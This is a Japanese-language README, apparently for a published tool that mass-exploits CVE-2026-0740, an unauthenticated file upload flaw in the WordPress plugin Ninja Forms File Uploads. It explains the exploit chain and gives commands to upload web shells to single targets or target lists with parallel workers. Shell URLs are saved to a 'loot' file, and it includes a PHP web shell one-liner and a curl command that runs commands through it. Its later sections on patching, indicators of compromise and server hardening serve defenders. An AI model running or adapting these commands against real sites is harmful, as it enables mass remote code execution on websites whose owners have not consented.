CVE-2026-0740 — 大量ターゲットエクスプロイトエンジン

作成者: 0xNuts
貢献者: Cursor
リポジトリ: https://github.com/ExDev994/CVE-2026-0740-mass

CVE-2026-0740 のPoC: Ninja Forms File Uploads <= 3.3.26 — 未認証の任意ファイルアップロード。これは RCE につながる可能性があります。

脆弱性は当初 Sélim Lanouar (@whattheslime) によって発見されました。大量ターゲットのPoCエンジンは 0xNuts によって開発され、Cursor が貢献しました。

免責事項

このリポジトリはセキュリティ研究および防御目的のみ（許可を得たペンテスト、書面による許可を得たレッドチーム、パッチ検証、ハードニング）で提供されています。

• 所有者の明示的な許可なしにシステムに対して使用しないでください。
• 著者はこの情報の悪用について一切責任を負いません。

脆弱性の概要

WordPress用プラグイン Ninja Forms - File Uploads は、3.3.26 までのすべてのバージョン（3.3.26 を含む）において、未認証の任意ファイルアップロードに対して脆弱です。

エクスプロイトチェーン:

1. 認証されていない攻撃者は、任意の field_id を持つAJAXアクション nf_fu_get_new_nonce を介して、アップロード用nonceを取得します。
2. ハンドラ nf_fu_upload はアップロードファイルの拡張子（例: image.jpg）を検証しますが、攻撃者はPOSTパラメータ（image_jpg）を介して宛先ファイル名を上書きできます。
3. 宛先ファイル名は十分なサニタイズなしに move_uploaded_file() に渡されます → 任意の拡張子 + パストラバーサル（../）。

完全なパッチはバージョン 3.3.27以降 で利用可能です。

前提条件

• Python 3.10+
• ターゲットに Ninja Forms および Ninja Forms - File Uploads（<= 3.3.26）プラグインがインストールされ、有効化されていること
• 既存のアップロードフォームやフィールドは不要

依存関係のインストール

このリポジトリには CVE-2026-0740.py と README.md のみが含まれています。依存関係を手動でインストールしてください:

python3 -m venv .venv
source .venv/bin/activate          # Linux/macOS/WSL
# .venv\Scripts\activate           # Windows

pip install httpx==0.28.1 socksio==1.0.0

使用方法

CLIヘルプ

python3 CVE-2026-0740.py -h

引数オプション

注意: -t または -f のいずれか一方のみを指定する必要があります。

単一ターゲットモード

python3 CVE-2026-0740.py -t http://target.com --shell shell.php

明示的なパストラバーサルを指定する場合:

python3 CVE-2026-0740.py -t http://target.com --shell shell.php -d ../../../shell.php

大量ターゲットモード

target.txt ファイルを作成:

http://site1.com
https://site2.com
10.0.0.5
# baris komentar diabaikan

実行:

python3 CVE-2026-0740.py -f target.txt --shell shell.php

ワーカー数とルート出力を調整する場合:

python3 CVE-2026-0740.py -f target.txt --shell shell.php -w 50 -o loot.txt

アップロードに成功したシェルURLはルートファイルに書き込まれます（追記モード）。

最小限のWebシェルの例

echo '<?php system($_GET["cmd"] ?? ""); ?>' > shell.php

アップロードが成功すると、スクリプトはシェルURLを表示します。検証（ラボまたは許可を得たターゲットのみ）:

curl "http://target.com/wp-content/shell.php?cmd=id"

プラグインバージョンの検出（オプション）

httpx -fr -u http://target.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'

修正方法（緩和策）

1. プラグインの更新（最優先）

Ninja Forms - File Uploads を直ちにバージョン 3.3.27以降 へ更新してください。

• WordPress管理画面 → プラグイン → Ninja Forms - File Uploads のバージョンを確認
• 自動更新が利用できない場合は、公式ベンダーからパッチ適用済みバージョンをダウンロードしてください

2. パッチの検証

更新後:

• プラグインバージョンが3.3.27以上であることを確認
• nf_fu_get_new_nonce / nf_fu_upload アクションを使用してエンドポイント wp-admin/admin-ajax.php をテスト — 任意のアップロードは拒否される必要があります
• 確認のため、スキャナー（NucleiテンプレートCVE-2026-0740）で再スキャン

3. 侵害指標（IoC）

WordPressのアップロードディレクトリを確認:

wp-content/uploads/ninja-forms/tmp/
wp-content/uploads/ninja-forms/
wp-content/

存在すべきではない不審なファイルを探す: .php、.pht、.phtml、.phar、.html、.svg、.js。

また、Webサーバーログで以下へのリクエストも確認:

/wp-admin/admin-ajax.php

パラメータ action=nf_fu_get_new_nonce または action=nf_fu_upload を含むもの。

4. 追加のハードニング

• 大量アップロードの悪用をブロックするため、/wp-admin/admin-ajax.php に WAF / レート制限 を設定

• Webサーバー設定を介して wp-content/uploads/ ディレクトリで PHP実行を無効化:

  Apache（uploads/ の .htaccess）:

  root@kitploit:~

  <FilesMatch "\.php$">
    Require all denied
  </FilesMatch>
  

  Nginx:

  root@kitploit:~

  location ~* /wp-content/uploads/.*\.php$ {
      deny all;
  }
  

• 最小権限: アップロードファイルのパーミッションが、必要なディレクトリ外でWebサーバーによって書き込み可能にならないようにする

• 監視: 外部IPからの、または高頻度の nf_fu_* アクションを含む admin-ajax.php へのPOSTにアラートを設定

• バックアップとインシデントレスポンス: IoCが見つかった場合は、サイトを隔離し、DB/管理者の認証情報をローテーションし、他のプラグイン/テーマを監査する

5. プラグインを使用していない場合

アップロード機能が不要な場合は、Ninja Forms - File Uploads プラグインを無効化して削除してください。

参考

• CVE-2026-0740
• Lexfo — Technical Deep Dive
• Wordfence — 50,000 WordPress Sites Affected
• GHSA-v8wq-rjpf-669f
• Nuclei Template